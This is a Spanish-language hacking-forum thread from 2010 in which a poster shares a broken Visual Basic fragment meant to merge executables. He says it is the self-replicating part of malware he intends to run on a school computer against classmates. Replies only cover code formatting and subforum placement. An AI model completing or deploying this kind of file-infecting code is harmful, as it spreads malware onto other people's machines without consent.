Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: pabloflv en 6 Junio 2010, 17:28 pm



Título: Necesito modificar archivos .exe desde un programa
Publicado por: pabloflv en 6 Junio 2010, 17:28 pm
Estoy haciendo un programita para demostrarles a los brutos que tengo de compañeros las vulnerabilidades monstruosas del güindous con una compu del cole, necesito un poco de ayuda para la parte de retransmisión, sobre todo para modificar archivos exe, probé con este codigo:
Código
  1. Option Explicit
  2.  
  3. Private Sub Form_Load()
  4. Dim Data() As Byte
  5. Dim Data1() As Byte
  6. Dim Data2() As Byte
  7. Dim fLen As Long
  8. Dim fLen1 As Long
  9. Dim fLen2 As Long
  10. Open "c:\windows\system32\rundll32.exe" For Binary Lock Read As 1
  11. Open App.Path + "\" + App.EXEName + ".exe" For Binary Lock Read As 2
  12. Open "c:\Nuevo.exe" For Binary Access Write As 3
  13. fLen = FileLen("c:\windows\system32\rundll32.exe")
  14. fLen1 = FileLen(App.Path + "\" + App.EXEName + ".exe")
  15. fLen2 = fLen1 + fLen
  16. ReDim Data(fLen2) As Byte
  17. Get #1, , Data1
  18. Get #2, , Data2
  19. Data = Data2 + Data1
  20. Put #2, , Data
  21. Close
  22. End Sub
  23.  
Pero me tira error mismatch en el + de data2 + data1 cuando lo compilo o lo corro.
Creo saber porque es pero no se como solucionarlo, alguien tiene idea de como mezclar dos archivos exe?, busque por los foros y por google pero no encontré nada puntual


Título: Re: Necesito modificar archivos .exe desde un programa
Publicado por: [L]ord [R]NA en 6 Junio 2010, 18:03 pm
Escribe el codigo dentro de las etiquetas GESHI


Título: Re: Necesito modificar archivos .exe desde un programa
Publicado por: Horricreu en 6 Junio 2010, 18:38 pm
¿Esto no tendría que ir en el subforo de Programación Visual Basic (http://foro.elhacker.net/programacion_visual_basic-b50.0/)?

Referente a lo que dijo RNA de GeSHi:

Visual Basic
[code=vb][/code]

Saludos :P



Título: Re: Necesito modificar archivos .exe desde un programa
Publicado por: pabloflv en 6 Junio 2010, 18:57 pm
¿Esto no tendría que ir en el subforo de Programación Visual Basic (http://foro.elhacker.net/programacion_visual_basic-b50.0/) (¿es VB no :xD?)?

Referente a lo que dijo RNA de GeShi:

Visual Basic
[code=vb][/code]

Saludos  :P


Con respecto a las etiquetas, gracias, pero es un malware, ¿Acaso no queda suficientemente claro?, esto es solo una pieza del codigo que hace que el archivo se "reproduzca", pero me tira error "Type mismatch", no se porqué


Título: Re: Necesito modificar archivos .exe desde un programa
Publicado por: Horricreu en 6 Junio 2010, 19:01 pm
¿Esto no tendría que ir en el subforo de Programación Visual Basic (http://foro.elhacker.net/programacion_visual_basic-b50.0/) (¿es VB no :xD?)?

Referente a lo que dijo RNA de GeShi:

Visual Basic
[code=vb][/code]

Saludos  :P


Con respecto a las etiquetas, gracias, pero es un malware, ¿Acaso no queda suficientemente claro?, esto es solo una pieza del codigo que hace que el archivo se "reproduzca", pero me tira error "Type mismatch", no se porqué

¡Pues si te da error, postealo en el subforo correspondiente! Este subforo no es de dudas de programación, es de análisis y diseño de malware ;)

Saludos :P


Título: Re: Necesito modificar archivos .exe desde un programa
Publicado por: pabloflv en 9 Junio 2010, 02:13 am
Listo ya resolví el problema, moderadores cierrenlo.